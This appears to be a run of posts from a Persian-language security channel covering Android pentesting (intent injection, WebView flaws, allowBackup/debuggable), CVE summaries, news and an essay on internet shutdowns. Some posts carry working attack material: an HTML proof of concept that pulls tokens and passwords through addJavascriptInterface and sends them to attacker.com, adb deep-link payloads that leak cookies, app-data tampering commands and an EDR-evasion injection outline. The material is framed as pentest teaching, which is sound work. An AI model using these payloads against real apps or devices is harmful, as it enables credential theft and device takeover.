Security Analysis

⭕️ c2detect Tools

C2 server fingerprinter — Cobalt Strike, Sliver, Mythic, Havoc, Brute Ratel

#infosec #C2 #ThreatHunting @securation

⭕️ پنتست کامپوننت اپ های اندرویدی پارت سوم - (allowBackup, debuggable) 1) allowBackup:

این فلگ در AndroidManifest.xml تعیین میکند که ایا سیستم اجازه دارد از دیتا های روت برنامه برای کاربر بکاپ بگیرد یا خیر، اگر مقدار این فلگ true باشد مهاجمی که دسترسی فیزیکی به دستگاه دارد با استفاده از adb میتواند تمامی دیتا های روت برنامه را استخراج کند(در اندروید 12 به بعد باید حتما فلگ debuggable نیز true باشد) که این دیتا شامل دیتابیس ها، SharedPreferences و تمامی فایل های ذخیره شده در روت برنامه می باشد!(بدون اینکه دستگاه روت شده باشد) این آسیب پذیری زمانی بحرانی میشود که اپ اطلاعات حساسی مانند توکن اهراز هویت، کلید های رمزنگاری و یا اطلاعات خصوصی کاربر را در مسیر روت ذخیره کرده باشد؛ راهکار امنیتی مطابق استاندارد MASTG غیر فعال کردن فلگ بکاپ در نسخه ریلیز برنامه میباشد، یا در صورت نیاز به امکان بکاپ، میبایست از طریق backup_rules.xml امکان بکاپ گیری از فایل های حساس را جلوگیری نمود

#backup
adb backup -apk com.example.app -f backup.ab
#restore
adb restore backup.ab
 

استخراج داده ها از فایل بکاپ backup.ab توسط ابزار abe: https://github.com/nelenkov/android-backup-extractor 2) debuggable:

این فلگ نیز در AndroidManifest.xml قرار دارد، اگر این فلگ برای یک اپ در نسخه ریلیز برابر true باشد، یک آسیب پذیری جدی محسوب میشود؛ چراکه مهاجم میتواند با استفاده از ابزار هایی مانند jdb به پروسه اپ متصل شده مقادیر متغیر های حساس در حافظه مثل توکن اهراز هویت یا کلید های api را بخواند و یا حتی flow اجرای برنامه را تغییر دهد، همچنین در اندروید 12 به بعد پیش شرط اجرای موفق دستور adb backup برای استخراج دیتای برنامه است، علاوه براین به واسطه دستور run-as که از adb shell در دسترس است میتوان به دایرکتوری روت اپ دیباگیبل دسترسی داشت و حتی فایل های آنرا ویرایش کرد و سو استفاده های لازم را به انجام رساند! بنابراین لازم است که در نسخه ریلیز و موقع انتشار عمومی برنامه مقدار این فلگ را برابر false قرار دهید

# printing the content of SharedPref
adb shell "run-as com.target.app cat shared_prefs/AppPref.xml"

# listing all db names
adb shell "run-as com.target.app ls -la databases/"

# manipulating isLoggedIn to true using sed
adb shell "run-as com.target.app sed -i 's/isLoggedIn\" value=\"false\"/isLoggedIn\" value=\"true\"/' shared_prefs/AppPref.xml"

# backing up entire directory
adb shell "run-as com.target.app tar -czf - /data/data/com.target.app" > backup.tar.gz

@securation #Android #RE #Owasp #Mastg #allowBackup

⭕️ در تحلیل آسیب‌پذیری بحرانی CVE-2026-20182 در پشته شبکه Cisco Catalyst SD-WAN، یک نقص منطقی (Logic Bug) قابل توجه در تابع vbond_proc_challenge_ack شناسایی شد . این حفره امنیتی در لایه DTLS (پورت ۱۲۳۶) و سرویس vdaemon واقع شده است؛ جایی که برخلاف سایر تجهیزات مانند vSmart یا vEdge، برای دستگاه‌های نوع ۲ یعنی vHub، هیچ مکانیزم راستی‌آزمایی (Verification) تعریف نشده است. به محض دریافت پیام CHALLENGE_ACK با هویت جعلی، فلگ peer->authenticated بدون هیچ‌گونه بررسی گواهی یا امضای سخت‌افزاری روی True تنظیم می‌شود،به واسطه این نقص در فرآیند احراز هویت، مهاجم می‌تواند از طریق پیام نوع ۱۴، کلید خود را مستقیماً به فایل authorized_keys کاربر سطح بالای vmanage-admin تزریق کرده و دسترسی دائمی برای اجرای دستورات NETCONF روی پورت ۸۳۰ به دست آورد . با توجه به اینکه هیچ راهکار موقتی (Workaround) برای این نقص وجود ندارد، ارتقای فوری به نسخه‌های اصلاح‌شده جهت جلوگیری از نفوذ کامل به زیرساخت توصیه می‌شود . #RedTeam #Cisco #vulnerability_Analysis @securation

⭕️ خبر جنجالی این چند روزه مربوط به دعوای مایکروسافت با یه محقق امنیتی که چندتا آسیب‌پذیری خطرناک ویندوز رو عمومی منتشر کرده بود و بعدش GitHub اکانت هکر رو بست. داستان فقط بستن اکانت نیست؛ طرف میگه مایکروسافت عملاً زندگیشو خراب کرده چون نه توی برنامه bug bounty حمایتی دیده، نه گزارش‌هاش جدی گرفته شده و حالا هم دسترسیش قطع شده. چیزی که ماجرا رو حساس کرده اینه که این محقق امنیتی برخلاف روال معمول،مستقیم جزئیات آسیب پذیری رو منتشر کرده،یعنی منتظر اصلاح مشکل از سمت مایکروسافت نمونده. همین باعث شده الان بحث اصلی این باشه که آیا مایکروسافت حق داشته برای جلوگیری از پخش شدن این ابزارها اکانتشو ببنده، یا چون GitHub مال خود مایکروسافته، از قدرتش برای ساکت کردن منتقد استفاده کرده. به نظرم این اتفاق یه تصویر جالب از دنیای امنیت امروز نشون میده. از یه طرف شرکت‌ها می‌ترسن آسیب‌پذیری‌ها عمومی بشن و سریع مورد سوءاستفاده قرار بگیرن، از اون طرف پژوهشگرها میگن وقتی شرکت‌ها همکاری نمی‌کنند، انتشار عمومی تنها راه فشار آوردنه. البته این وسط گیت هاب اکانت خیلی از دوستان ایرانی رو هم بن کرد دستش درد نکنه البته احتمالا بخاطر استفاده از SNI Spoofing این اتفاق افتاد ولی شماها دیگ اینکارارو نکنین که بن میشید ! https://www.tomshardware.com/tech-industry/cyber-security/microsofts-github-bans-securitjy-researcher-who-posted-zero-day-windows-exploits-because-company-ruined-their-life-expert-claims-action-is-vindictive-and-promises-further-retaliation @securation

دوستان عزیز گروه تبادل دانش امنیت اطلاعات فعال است: https://t.me/DarkPwners

⭕️ در زیر یک تکه کد آسیب‌پذیر آورده شده است:

WebView webview = new WebView(this);
WebSettings webSettings = webview.getSettings();
webSettings.setJavaScriptEnabled(true);
webView.addJavascriptInterface(new WebAppInterface(this), "Android");
webView.loadUrl(getIntent().getStringExtra("url"));

کد اکسپلویت کامل

<!DOCTYPE html>
<html>
<head>
    <title>POC - WebView addJavascriptInterface</title>
</head>
<body>
    <h2> Exploiting addJavascriptInterface</h2>
    <div id="result"></div>
    
    <script>
        // مرحله 1: سرقت دیتا از متدهای exposed
        try {
            var methods = ['getUserToken', 'getUserId', 'getEmail', 'getPassword'];
            for (var method of methods) {
                try {
                    var data = window.Android[method]();
                    if (data) {
                        document.getElementById('result').innerHTML += 
                            '<p>Stolen: ' + method + ' = ' + data + '</p>';
                        fetch('http://attacker.com/steal?data=' + encodeURIComponent(data));
                    }
                } catch(e) {}
            }
        } catch(e) {}
        
        // مرحله 2: RCE (فقط در صورتی که getContext در کلاس جاوا تعریف شده باشه)
        try {
            var context = window.Android.getContext();
            var classLoader = context.getClassLoader();
            var Runtime = classLoader.loadClass('java.lang.Runtime')
                .getMethod('getRuntime', null)
                .invoke(null, null);
            Runtime.exec(['su', '-c', 'id']);
            document.getElementById('result').innerHTML += '<p> RCE Successful!</p>';
        } catch(e) {
            document.getElementById('result').innerHTML += 
                '<p> RCE not possible (no chain method)</p>';
        }
    </script>
</body>
</html>

نسخه ساده‌تر (سرقت دیتا از متود های اکسپوزد)

<!DOCTYPE html>
<html>
<head>
    <title>POC</title>
</head>
<body>
    <script>
        // سرقت دیتای هر متدی که در کلاس جاوا وجود داره
        var methods = ['getUserToken', 'getUserId', 'getEmail', 'getPassword'];
        
        for (var method of methods) {
            try {
                var data = window.Android[method]();
                if (data) {
                    fetch('http://attacker.com/steal?data=' + encodeURIComponent(data));
                    alert('Stolen: ' + data);
                }
            } catch(e) {}
        }
    </script>
</body>
</html>

نکته: این POC فرض می‌کنه که متدهایی مثل getUserToken() یا getPassword() در کلاس جاوا وجود دارن. نکته مهم تر! اینکه برای رسیدن به RCE کامل به واسطه رفلکشن در اندروید های بالاتر از 4.2+ امکان پذیر نیست مگر اینکه در کلاس جاوا فانکشنی توسط برنامه نویس تعریف شده باشد که Context آن اکتیویتی را ریترن کند!! برای مطالعه بیشتر: Owasp MASTG @securation #Android #RE #Owasp #Mastg #webview

⭕️ پنتست کامپوننت اپ های اندرویدی پارت دوم - وب ویو (Insecure WebView) آسیب پذیری های رایج وب ویو به شرح زیر است 1) setJavaScriptEnabled(true)

فعال شدن جاوااسکریپت = راه ورود XSS. مهاجم می‌تونه اسکریپت مخرب تزریق کنه و توکن یا اطلاعات کاربر رو بدزده.

# تزریق مستقیم javascript در WebView
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:alert('XSS')"

# تزریق از طریق دیپ لینک با payload
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://webview?url=javascript:document.location='http://attacker.com/steal?c='document.cookie"

2) setAllowUniversalAccessFromFileUrls(true)

اجازه میده فایل‌های HTML به همه فایل‌ scheme ها و محتوای هر origin دیگه ای دسترسی داشته باشن (دیسیبل شدن SOP). مهاجم می‌تونه فایل‌های دیتابیس و SharedPreferences رو بخونه.

# خواندن فایل SharedPreferences
adb shell am start -n com.target.app/.WebViewActivity -d "file:///data/data/com.target.app/shared_prefs/config.xml"

# خواندن دیتابیس اپ
adb shell am start -n com.target.app/.WebViewActivity -d "file:///data/data/com.target.app/databases/app.db"

3) addJavascriptInterface

بسیار خطرناک! مهاجم می‌تونه از طریق JS، متدهای کلاس متصل شده رو فراخوانی کنه و به کد native دسترسی پیدا کنه → RCE کامل روی دستگاه.

# تست وجود interface با alert
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:alert(Object.keys(window))"

# اگر interface با نام "bridge" وجود داشت، اجرای فرمان
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:bridge.getClass().forName('java.lang.Runtime').getMethod('exec','java.lang.String[]').invoke(null,['su','-c','id'])"

#فراخوانی یک متد از کلاس جاوا و نشت توکن کاربر(تنها در صورتی که متد در کلاس جاوا تعریف شده باشد)
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:bridge.getUserToken()"

4) setAllowContentAccess(true)

اجازه دسترسی به Content Provider ها از طریق content://، مهاجم می‌تونه دیتابیس‌های داخلی، مخاطبین، یا فایل‌های حساس اپ رو بدزده.

# دسترسی به دیتابیس اپ از طریق Content Provider
adb shell am start -n com.target.app/.WebViewActivity -d "content://com.target.app.provider/users"

# دسترسی به مخاطبین دستگاه (اگر Permission داشته باشه)
adb shell am start -n com.target.app/.WebViewActivity -d "content://contacts/phones/"

5) لود URL از ورودی کاربر

اگر loadUrl() مقدارش از Intent، دیپ لینک یا هر ورودی خارجی بیاد، مهاجم می‌تونه حملات زیر رو ترتیب بده:

Scheme           | حمله                               
-----------------+------------------------------------
`javascript://`  | XSS                                
`file://`        | خواندن فایل                        
`intent://`      | ریدایرکت به اکتیویتی غیراکسپورت شده
`data:text/html` | XSS مستقیم                         

# تست javascript scheme
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=javascript:alert('xss')"

# تست file scheme برای خواندن فایل
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/token.xml"

# تست intent scheme برای ردایرکت به Activity غیر اکسپورت شده
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=intent:#Intent;component=com.target.app/.PrivateActivity;end"

# تست data:text/html برای XSS مستقیم
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=data:text/html,<script>alert('XSS')</script>"

📌 نکته مهم وب ویویی که exported نباشد، فقط لانچ مستقیم را مسدود می‌کند. اگر اپ از طریق deeplink، Notification، Broadcast، یا Content Provider به WebView برسد، همه آسیب‌پذیری‌ها همچنان قابل بهره‌برداری هستند. پس در پنتست: • اول مسیرهای رسیدن به WebView را پیدا کنید! (deeplink، Broadcast، Content Provider) • بعد آن مسیرها را برای ارسال payloadهای مخرب تست کن

✅ چک‌لیست پنتست: • مسیرهای رسیدن به WebView رو پیدا کن (deeplink، Broadcast، Content Provider) • تست XSS با javascript:alert() • تست خواندن فایل با file:///data/data/... • تست JavaScript Interface با Object.keys(window) • تست Content Provider با content://... @securation #Android #RE #Owasp #Mastg #webview

⭕️ آسیب‌پذیری بحرانی BadHost با شناسه CVE-2026-48710، فریمورک Starlette را هدف قرار داده و میلیون‌ها سرور هوش مصنوعی و اپلیکیشن مبتنی بر FastAPI استفاده می‌کنند را مورد تهدید جدی قرار داده است. آسیب پذیری Authentication Bypass ناشی از عدم اعتبارسنجی هدر HTTP Host است که به مهاجم اجازه می‌دهد با تزریق کاراکترهای خاص، کنترل‌های دسترسی مسیر Path-based Authorization را دور زده و به داده‌های حساس دسترسی پیدا کند. @securation

⭕️هشدار سایبری: بمب‌های ساعتی در دستگاه‌های شما پس از رفع محدودیت اینترنت بعد از حدود سه ماه محدودیت و قطعی، اتصال مجدد به اینترنت نباید با وب‌گردی، تست سرعت یا چک کردن شبکه‌های اجتماعی آغاز شود. دستگاه‌های ما اکنون به دو دلیل عمده به‌شدت آسیب‌پذیرند: تلنبار شدن آپدیت‌های امنیتی و نصب اجباری ابزارهای ناشناس برای دور زدن فیلترینگ. پیش از هر کاری، این چند اقدام حیاتی را انجام دهید: --پاکسازی مسیرهای نفوذ (VPN و Certificateها) فیلترشکن‌های متفرقه، کانفیگ‌های تلگرامی، فایل‌های APK ناشناس، DNSهای کاستوم و به‌ویژه گواهی‌های امنیتی (Certificates) که در این مدت نصب کرده‌اید را فوراً حذف کنید. این موارد اصلی‌ترین بستر برای حملات «مرد میانی» (MitM) و سرقت اطلاعات هستند. --دیوایسهای خانگی را حتما آپدیت کنید. --مودم و روترهای خانگی حتما آپدیت گردد. -- اعمال وصله‌های امنیتیِ تلنبار شده طی این چند ماه، ده‌ها آسیب‌پذیری حیاتی (Zero-Day) در دنیا کشف شده است. پیش از ورود به اکانت‌های حساس، سیستم‌عامل، آنتی‌ویروس و مخصوصاً مرورگرهای خود را به‌روزرسانی کنید. -- چرخش رمزهای عبور اگر در این مدت با ابزارهای ناشناس به اینترنت وصل شده‌اید، فرض را بر نشت اطلاعات بگذارید. رمز عبور ایمیل‌ها، شبکه‌های اجتماعی و پلتفرم‌های مالی را تغییر دهید و احراز هویت دو مرحله‌ای (2FA) را چک کنید. --مراقبت در برابر موج جدید فیشینگ منتظر سیل پیام‌های فریبنده با عناوین جذاب (مانند “دانلود فیلترشکن دائمی” یا “اینترنت هدیه جبرانی”) باشید. روی هیچ لینک ناشناسی کلیک نکنید. بهای قطعی اینترنت، نباید با به سرقت رفتن هویت دیجیتال و دارایی‌های شما پرداخت شود. هیجانِ اتصال مجدد را فدای امنیت خود نکنید. @securation

⭕️ در ذیل ابزار هایی که در طول پنتست کامپوننت های اندرویدی به کارتان می آید لیست شده است 1) Drozer https://github.com/WithSecureLabs/drozer 2) Apk Component Inspector https://github.com/thecybersandeep/apk-components-inspector 3) Noxen https://github.com/frankheat/noxen @securation

⭕️ فراخوانی یک اکتیویتی exported به واسطه یک اپ مهاجم به شکل زیر است(خارج از adb shell به صورت یک اپ مجزا) Manifest.xml

<activity android:name=".AttackerActivity">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
    </intent-filter>
</activity>

و در کد به شکل زیر فراخوانی انجام میشود

Intent intent = new Intent("android.intent.action.MAIN");
intent.setComponent(new ComponentName("com.target.app", "com.target.app.SecretActivity"));
//intent.putExtra("password","123")
startActivity(intent);

@securation #Android #RE #Owasp #Mastg #Intent

⭕️ پنتست کامپوننت اپ های اندرویدی پارت اول - اینتنت اینجکشن (Intent Injection) وقتی که یک Activity مقدار exported آن true باشد بدین معناست که تمام برنامه های نصب شده روی دستگاه شما و همچنین adb shell میتواند آنرا اجرا کند نکته فنی اینکه اگر که دستگاه شما روت باشد با adb shell میتوانید تمام Activity هارا لانچ کنید فارغ ازینکه exported باشد یا non exported

#intent without extras
adb shell am start -n "com.package.name/.TargetActivity"

#intent with extras
adb shell am start -n "com.package.name/.TargetActivity" --es Name "Ali" --ei Age 18 --ez isAdmin true

#intent with custom category + deeplink
adb shell am start -n "com.package.name/.TargetActivity"\
  -a android.intent.action.VIEW \
  -c android.intent.category.DEFAULT \
  -c android.intent.category.BROWSABLE \
  -d "myapp://com.package.name/Access/HiddenSettings"

شما برای پنتست اینتنت ها ابتدا لازم است که اینتنت هایی که مقدار exported برابر true هست پیدا کنید اگر یک اکتیویتی به جز اکتیویتی Main مقدار exported آن برابر true باشد به عنوان یک مشکل امنیتی بالقوه به حساب می آید! اگر اکتیویتی دیگری به جز Main را بنابه دلایلی ناچار شدید مقدار exported آنرا true کنید باید حتما داخل آن اکتیویتی چک شود که اینتنت این اکتیویتی به واسطه اکتیویتی دیگری از خود برنامه لانچ شده است یا مستقیما به واسطه adb shell یا دیگر برنامه های نصب شده روی سیستم عامل؛ در صورت لانچ شدن آن به واسطه اپ های دیگر یا adb shell باید جلوی اجرای برنامه گرفته شود یا به کرش منجر شود یا به یک اینتنت دیگر مثل صفحه لاگین ریدایرکت شود در غیر اینصورت برنامه ما دارای یک مشکل امنیتی بالقوه است! مثال عملی:

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    // بررسی اینکه Intent از کجا آمده
    if (isIntentFromExternalApp()) {
        finish(); // بستن Activity
        return;
    }

    setContentView(R.layout.activity_sensitive);
}

private boolean isIntentFromExternalApp() {
    String callingPackage = getCallingPackage();
    
    if (callingPackage == null) {
        // یعنی با adb یا مستقیما از لانچر باز شده
        return true;
    }

    // بررسی اینکه صداکننده خود برنامه است یا یک اپ اندرویدی دیگر
    return !callingPackage.equals(getPackageName());
}

متود getCallingPackage() نام پکیج اپلیکیشنی را برمی‌گرداند که این Intent را فرستاده. · اگر null بود → یعنی از adb یا لانچر بیرون از برنامه صدا زده شده. · اگر برابر با getPackageName() نبود → یعنی از اپ دیگر آمده. @securation #Android #RE #Owasp #Mastg #Intent

خطاب به آنان که اینترنت را قطع می‌کنند! بهای خاموش کردن یک ملت را تاریخ از شما خواهد گرفت. آگاهی دکمه خاموشی ندارد. اینترنت ابزار تفریح یا تجمل نیست؛ حافظه است. کار است. آموزش است. زبان است. ارتباط است. امکان مشارکت در جهان است. این محدودیت‌ها بیش از آن‌که طبقات برخوردار را متوقف کنند،طبقات ضعیف‌تر را فرسوده کرده اند. کسی که توان مالی بیشتری دارد،راه دور زدن پیدا کرده؛ اما فشار اصلی بر دوش دانشجو،فریلنسر،فروشندهٔ کوچک،نوجوان جویای آموزش،و خانواده‌ای ‌ست که اینترنت برایش ابزار بقاست،نه امتیاز لوکس. وقتی استاد،پزشک یا طبقهٔ برخوردار می‌تواند به جهان آزاد اطلاعات وصل شود،اما دانشجو،نوجوان بااستعداد،یا کارگر کم‌درآمد باید در اینترنت محدود و کند باقی بماند،در عمل فرصت رشد ذهنی خریدوفروش می‌شود.و این،فقط شکاف اقتصادی ایجاد نمی‌کند؛شکاف شناختی تولید می‌کند. در گذشته،سواد در انحصار بود.بعد دانشگاه در انحصار بود. امروز اتصال به امتیاز انحصاری‌ تبدیل شده!چطور این عقب گرد را توجیه می کنید؟قطعی اینترنت مشروعیت خودتان را از مدار خارج می‌کند.در دنیای جدید،قدرت فقط با منابع طبیعی یا ابزار امنیتی سنجیده نمی‌شود؛قدرت واقعی یعنی توانایی نگه داشتن مغزها،سرمایه‌ها،متخصصان و اعتماد عمومی درون کشور. چطور این بدیهیات را نمیدانید؟ چطور هنوز نمی‌فهمید که انسان آگاه امروز را نمی‌توان با منطق انزوا اداره کرد؟چطور تصور می‌کنید می‌شود ملتی را که جهان را دیده،آگاه شده،مقایسه کرده و پیچیدگی زندگی مدرن را فهمیده را می توان دوباره به زیست محدود و خاموش برگرداند؟ آگاهی، پدیده‌ای برگشت‌ناپذیر است. اما ذهنی که یک‌بار «امکان دیگرگونه زیستن»را دیده،دیگر هرگز به ناآگاهی سابق بازنمی‌گردد. با فرسوده کردن سرمایهٔ روانی مردم قدرتمند نیستید و نمی مانید.قدرت فقط توانایی کنترل نیست؛توانایی خلق جامعه‌ای‌ست که مردمش هنوز میل ماندن،ساختن و خیال‌پردازی دربارهٔ آینده را داشته باشند. قطع اینترنت شاید در ظاهر یک تصمیم امنیتی باشد،اما در لایه‌ای عمیق‌تر،شبیه این است که برای آرام کردن یک اتاق،اکسیژن را کم کنید. هزاران کسب‌وکار کوچک دچار اضطراب شده اند، دانشجویان از جهان علمی عقب افتاده اند. برنامه‌نویس،طراح،مترجم،پژوهشگر،مدرس،هنرمند و کارآفرین،احساس می‌کنند در حال زیستن پشت دیواری نامرئی اند. انسان آگاه امروز را نمی‌توان با منطق دیوار اداره کرد. می‌شود سرعت رودخانه را کم کرد، اما نمی‌شود برای همیشه،جلوی رسیدن آب به دریا را گرفت. و شاید خردمندانه‌تر این باشد که به‌جای جنگیدن با جریان زمانه،و استفاده از زور و ارعاب و توهم،یاد بگیریم چگونه امنیت و اعتماد بسازیم.در بلندمدت،از ضعیف شدن ذهن جمعی مردم سود نخواهید برد. برده‌داری مدرن دقیقاً همیشه با زنجیر و شلاق نمی‌آید. گاهی با محروم نگه داشتن بخشی از جامعه از ابزار رشد می‌آید.جامعه‌ای که اینترنت آزاد را به امتیاز طبقاتی تبدیل کند،در واقع دارد آینده را میان طبقات توزیع می‌کند. یعنی از همین امروز تعیین می‌کند چه کسی امکان جهش خواهد داشت و چه کسی باید فقط برای بقا بجنگد. می‌دانم که فرسودگی روان مردم،خوابتان را آشفته نمی‌کند؛اما اگر رنج مردم هم قانعتان نمی‌کند،دست‌کم از منظر قدرت به ماجرا نگاه کنید و به داد خودتان برسید! #سارا_اکبرزاده

⭕️ اخیراً یک Proof-of-Concept جالب برای تزریق و اجرای شل‌کد با بهره‌گیری از Thread Pool Timer API در معماری ویندوز مورد بررسی قرار گرفت. این تکنیک به منظور دور زدن مکانیسم‌های تشخیص رفتاری سیستم‌های EDR/AV طراحی شده است. معماری تکنیک: مرحله اول: تزریق DLL به فضای آدرس پروسه هدف از طریق Classic DLL Injection (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread + LoadLibraryW) مرحله دوم: تخصیص حافظه با دسترسی RW در پروسه هدف و کپی شل‌کد مرحله سوم: ایجاد Thread Pool Timer با CreateThreadpoolTimer و زمان‌بندی اجرا با SetThreadpoolTimer مرحله چهارم: تغییر Memory Protection به RX با VirtualProtect و اجرای شل‌کد در Callback تایمر مزیت کلیدی: به جای استفاده مستقیم از CreateRemoteThread برای اجرای شل‌کد (که به شدت توسط EDR/AV مانیتور می‌شود)، این روش از Thread Pool Worker سیستم‌عامل برای اجرای غیرهمزمان کد بهره می‌برد. این امر باعث کاهش چشمگیر Suspicious Thread Creation Events و دور زدن Heuristic Analysis می‌شود. #RedTeam #MalDev #Evasion @securation

🚨🚨یک‌آسیب‌پذیری جدید در سرویس‌های NginX با شناسهٔ CVE-2026-42945، اکیداً توصیه می‌کنیم در اسرع وقت، NginX نصب‌شده روی سرور(های) خود را به آخرین نسخه به‌روزرسانی کنید. این آسیب‌پذیری با درجه‌بندی ۹.۲، نیازمند به‌روزرسانی فوری است و به مهاجمان این امکان را می‌دهد که کدهای مخرب را روی سرور اجرا کنند یا مانع از عملکرد صحیح سرور شوند. طبق اعلام توسعه‌دهندگان پروژه، کاربران می‌بایست آخرین به‌روزرسانی‌های NginX را نصب کنند. نمونهٔ آسیب‌پذیری:

rewrite ^/users/([0-9]+)/(.*)$ /index.php?id=$1&tab=$2 last;

در صورتی که امکان به‌روزرسانی برای شما وجود ندارد، توصیه می‌شود در تنظیمات بازنویسی آدرس‌ها (Rewrite)، به جای استفاده از Unnamed Captures از Named Captures استفاده کنید. https://nvd.nist.gov/vuln/detail/CVE-2026-42945

⭕️آسیب پذیری جدید بانام Dirty Frag  که هنوز patch‌ نشده و امکان Local Privilege Escalation (LPE) تا سطح root را فراهم می‌کند. این آسیب‌پذیری روی توزیع‌هایی مثل Ubuntu، RHEL و Fedora تأثیر دارد و نکته خطرناک اینجاست که PoC عمومی آن هم منتشر شده است. مشکل از corruption در page cache و مدیریت fragment ها داخل kernel است که باعث می‌شود مهاجم از user عادی به root برسد. exploit فعلی بسیار ساده و پایدار گزارش شده و حتی با یک command هم می‌تواند root shell بدهد. فعلاً patch رسمی منتشر نشده و همین موضوع ریسک را بالا برده است؛ چون هر مهاجمی که یک foothold کوچک روی سیستم داشته باشد، می‌تواند سریع کل سیستم را takeover کند. برخی mitigation های موقت مثل غیرفعال‌کردن esp4، esp6 و rxrpc پیشنهاد شده‌اند. Exploit @securation

⭕️ آسیب‌پذیری CVE-2026-32710 در MariaDB یک ضعف بحرانی از نوع Heap Out-of-Bounds است که می‌تواند به Privilege Escalation پایدار و در نهایت به UDF RCE منجر شود. در این حمله، مهاجم با یک اکانت با سطح دسترسی پایین مثل SELECT-only، ساختارهای مربوط به privilege را در حافظه overwrite می‌کند و سطح دسترسی خود را به ALL PRIVILEGES ارتقا می‌دهد. بعد از گرفتن دسترسی کامل، مهاجم از قابلیت UDF استفاده می‌کند تا یک shared library مخرب داخل plugin_dir قرار دهد و از طریق SQL روی سیستم‌عامل command اجرا کند. این یعنی compromise کامل MariaDB می‌تواند مستقیماً به اجرای کد روی سرور ختم شود. ریشه مشکل در corruption حافظه و ضعف در مدیریت ساختارهای access control است که باعث می‌شود مرز بین کاربر محدود و ادمین از بین برود. نکته خطرناک اینجاست که exploitation فقط به escalation ختم نمی‌شود و می‌تواند persistence هم ایجاد کند. نکته: نسخه‌های 11.4.x MariaDB (تأییدشده روی 11.4.9) تحت تأثیر هستند و بروزرسانی فوری، محدود کردن FILE privilege و مانیتورینگ UDFهای جدید ضروری است. @securation

⭕️ آپاچی یه آپدیت امنیتی مهم برای وب‌سرور خودش منتشر کرده؛ نسخه 2.4.67 که از ۴ می ۲۰۲۶ در دسترس قرار گرفته. این آپدیت برای رفع چند آسیب‌پذیری امنیتی اومده و مهم‌ترینش مربوط به ماژول HTTP/2 هست؛ همون بخشی که اگر روی سرور فعال باشه، ممکنه در نسخه قبلی یعنی 2.4.66 باعث کرش کردن سرویس یا در شرایط خاص حتی اجرای کد از راه دور بشه. به زبان ساده‌تر، اگر کسی سروری با Apache نسخه آسیب‌پذیر داشته باشه و HTTP/2 هم فعال باشه، بهتره این آپدیت رو جدی بگیره. فعلاً گفته شده اکسپلویت عمومی برای این مشکل منتشر نشده، ولی چون Apache روی تعداد خیلی زیادی از سرورها استفاده می‌شه، طبیعی که جامعه امنیتی سریع نسبت بهش حساس شده. توصیه اصلی هم اینه که تیم‌های فنی، مخصوصاً کسایی که روی نسخه 2.4.66 هستن، وضعیت سرورهاشون رو چک کنن و در صورت نیاز سریع به 2.4.67 آپدیت کنن. اینجور باگ‌ها شاید برای همه مستقیم خطر فوری نسازن، ولی وقتی روی زیرساخت‌های پرتعداد و عمومی باشن، بهتره قبل از اینکه تبدیل به دردسر واقعی بشن، بسته بشن. @securation

یه خبر جالب از دنیای AI که سم آلتمن توییت کرده : طبق اعلام جدید، قراره طی چند روز آینده مدل جدیدی به اسم GPT-5.5-Cyber عرضه بشه. این مدل مخصوص حوزه امنیت سایبری طراحی شده و قراره به متخصص‌های امنیت کمک کنه تا بهتر بتونن از شرکت‌ها و زیرساخت‌های مهم در برابر حملات سایبری محافظت کنن. نکته مهم اینه که گفته شده برای استفاده از این مدل، با دولت‌ها و کل اکوسیستم فناوری همکاری می‌کنن تا دسترسی‌ها کاملاً امن و کنترل‌شده باشه. هدف اصلیش هم اینه که سرعت شناسایی و مقابله با تهدیدهای سایبری رو بالا ببرن و امنیت سیستم‌ها رو تقویت کنند. @securation

⭕️ آسیب‌پذیری با شناسه CVE-2026-3854 در GitHub Enterprise Server / Git push pipeline گزارش شده که از نوع (RCE) هست. این ضعف مربوط به نحوه پردازش git push options در مسیر داخلی پردازش push بوده؛ یعنی کاربر می‌تونست هنگام git push یک مقدار crafted ارسال کنه و به‌خاطر sanitize نشدن کامل ورودی، داخل metadata داخلی GitHub فیلدهای اضافی تزریق کنه. ([The GitHub Blog][1]) دقیقا چی اتفاق می‌افته؟ در pipeline داخلی GitHub، اطلاعات push بین چند سرویس با یک فرمت metadata منتقل می‌شه. مشکل اینجا بود که delimiter داخلی همین metadata می‌تونست داخل ورودی کاربر هم بیاد. مهاجم با سوءاستفاده از این موضوع می‌تونست مقدارهای قابل اعتماد داخلی رو override کنه. ([The GitHub Blog][1]) سناریو حمله: مهاجم فقط نیاز به یک حساب دارای push access روی یک repository داشت، حتی repoای که خودش ساخته باشه و یک git push با push option مخرب ارسال می‌کرد بعد metadata داخلی آلوده می‌شد و محیط پردازش push تغییر می‌کرد سپس sandbox مربوط به hook execution دور زده می‌شد و در نهایت اجرای دستور دلخواه روی سرور GitHub ممکن می‌شد. نکته مهم: این آسیب‌پذیری unauthenticated نبود، اما بسیار خطرناک بود چون سطح دسترسی لازم پایین بود: هر کاربری که روی یک repo امکان push داشت، می‌تونست مسیر exploit رو شروع کنه. در محیط‌های GitHub Enterprise Server این یعنی یک کاربر داخلی، contractor، اکانت compromise شده یا حتی یک developer با دسترسی محدود می‌تونست به سطح اجرای کد روی سرور نزدیک بشه ضمنا Root cause فقط یک sanitize ساده نبود؛ مسئله اصلی trust boundary failure بین ورودی کاربر و metadata داخلی سرویس‌ها بود. مقدارهایی که باید صرفاً user-controlled محسوب می‌شدن، وارد کانالی شدن که downstream service اون‌ها رو به‌عنوان internal trusted fields تفسیر می‌کرد. این دقیقاً همون نقطه‌ایه که injection تبدیل به RCE شد. و اینکه GitHub اعلام کرده github.com و GitHub Enterprise Cloud در تاریخ March 4, 2026 patch شدن و بررسی forensic نشون داده exploitation عمومی رخ نداده. برای GitHub Enterprise Server، نسخه‌های patch شده منتشر شده و upgrade فوری توصیه شده. نسخه‌های امن GHES: 3.14.25 یا بالاتر 3.15.20 یا بالاتر 3.16.16 یا بالاتر 3.17.13 یا بالاتر 